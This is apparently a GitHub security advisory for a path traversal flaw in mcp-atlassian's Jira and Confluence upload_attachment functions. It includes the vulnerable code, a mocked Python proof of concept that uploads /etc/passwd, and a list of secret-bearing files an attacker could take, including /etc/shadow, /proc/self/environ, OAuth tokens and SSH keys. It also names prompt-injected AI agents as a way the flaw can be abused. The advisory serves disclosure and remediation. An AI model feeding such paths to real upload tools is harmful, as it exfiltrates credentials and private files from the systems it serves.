GHSA-mfv2-4wvm-9pgp: Path Traversal
Summary
The uploadattachment functions in both the Jira and Confluence modules accept a user-controlled filepath parameter and open the specified file for reading without calling validatesafepath(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the downloadattachment and downloadissueattachments paths were hardened with validatesafepath(), but the upload direction was left unguarded in both the Jira and Confluence modules.
---
Details
Affected functions:
| File | Function | Line | |------|----------|------| | src/mcpatlassian/jira/attachments.py | uploadattachment() | ~372–415 | | src/mcpatlassian/confluence/attachments.py | uploadattachment() | ~62–108 | | src/mcpatlassian/confluence/attachments.py | uploadattachmentdirect() | ~476–477 |
Jira — vulnerable code path (jira/attachments.py):
python def uploadattachment(self, issuekey: str, filepath: str) -> dict: ... if not os.path.isabs(filepath): filepath = os.path.abspath(filepath) # resolves relative paths
if not os.path.exists(filepath): # confirms file exists ...
# ⚠ validatesafepath() is NEVER called here filename = os.path.basename(filepath) with open(filepath, "rb") as file: # arbitrary file opened attachment = self.jira.addattachment( issuekey=issuekey, filename=filepath )
Compare with the protected download path in the same file:
python def downloadattachment(self, url: str, targetpath: str) -> bool: ... validatesafepath(targetpath) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
python def uploadattachment(self, contentid, filepath, ...): ... if not os.path.isabs(filepath): filepath = os.path.abspath(filepath)
# ⚠ validatesafepath() is NEVER called filename = os.path.basename(filepath) attachment = self.uploadattachmentdirect( contentid, filepath, filename, comment, minoredit )
Inside uploadattachmentdirect(): files = {"file": (filename, open(filepath, "rb"))} # ← arbitrary file opened
---
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc001jirapathtraversal.py):
python import sys, os, types from unittest.mock import MagicMock
sys.path.insert(0, "src")
def makepkg(name): m = types.ModuleType(name); m.path = []; sys.modules[name] = m; return m
atlassianpkg = makepkg("atlassian") atlassianjira = makepkg("atlassian.jira") atlassianpkg.jira = atlassianjira atlassianjira.Jira = type("Jira", (), { "init": lambda s, a, k: None, "session": MagicMock() }) atlassianpkg.Jira = atlassianjira.Jira keyring = makepkg("keyring") keyring.getpassword = keyring.setpassword = lambda a, k: None
from mcpatlassian.jira.attachments import AttachmentsMixin from mcpatlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", authtype="basic", username="x", apitoken="x")
class FakeFetcher(AttachmentsMixin): def init(self): self.config = config self.jira = MagicMock() self.jira.addattachment.returnvalue = {"id": "99", "filename": "passwd"}
result = FakeFetcher().uploadattachment(issuekey="TEST-1", filepath="/etc/passwd") print(result)
Observed output — Jira (Kali Linux, v0.21.1):
<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />
[] Target file : /etc/passwd [] Calling : AttachmentsMixin.uploadattachment()
[] Return value: {'success': True, 'issuekey': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation addattachment call args: call(issuekey='TEST-1', filename='/etc/passwd')
Observed output — Confluence (Kali Linux, v0.21.1):
<img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" />
[] Target file : /etc/passwd [] Calling : ConfluenceAttachmentsMixin.uploadattachment()
[] Return value: {'success': True, 'contentid': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validatesafepath() uploadattachment() → uploadattachmentdirect() → open(filepath) downloadattachment() in same file IS protected — asymmetric fix
Key evidence: - success: True — no exception raised, no path validation triggered - size: 3388 — /etc/passwd was opened and read by os.path.getsize() - Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
---
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
- /etc/shadow — system password hashes - /proc/self/environ — process environment variables (API keys, secrets) - ~/.mcp-atlassian/oauth-.json — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jirauploadattachment and confluenceuploadattachment MCP tools are affected.
Root cause: The validatesafepath() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated MCP client with access to the Jira or Confluence attachment-upload functionality can exploit it. The attacker must be able to supply the file_path parameter to an affected upload function.
What can an attacker access through this flaw?
The affected server process can be induced to read an arbitrary path, such as /etc/passwd or /proc/self/environ, and transmit that file as an attachment to the remote Atlassian instance. Exposure is limited by the permissions of the server process running mcp-atlassian.
Are both Jira and Confluence upload paths affected?
Yes. The affected paths include Jira upload_attachment(), Confluence upload_attachment(), and Confluence _upload_attachment_direct().
Does hardening attachment downloads address this issue?
No. The advisory states that download_attachment and download_issue_attachments were hardened with validate_safe_path(), but the upload paths remained unguarded. Upload functionality requires its own path validation.
What can be done before a fix is applied?
Restrict access to authenticated MCP clients that can invoke attachment uploads, or disable attachment-upload functionality where feasible. This reduces the ability to supply attacker-controlled file paths.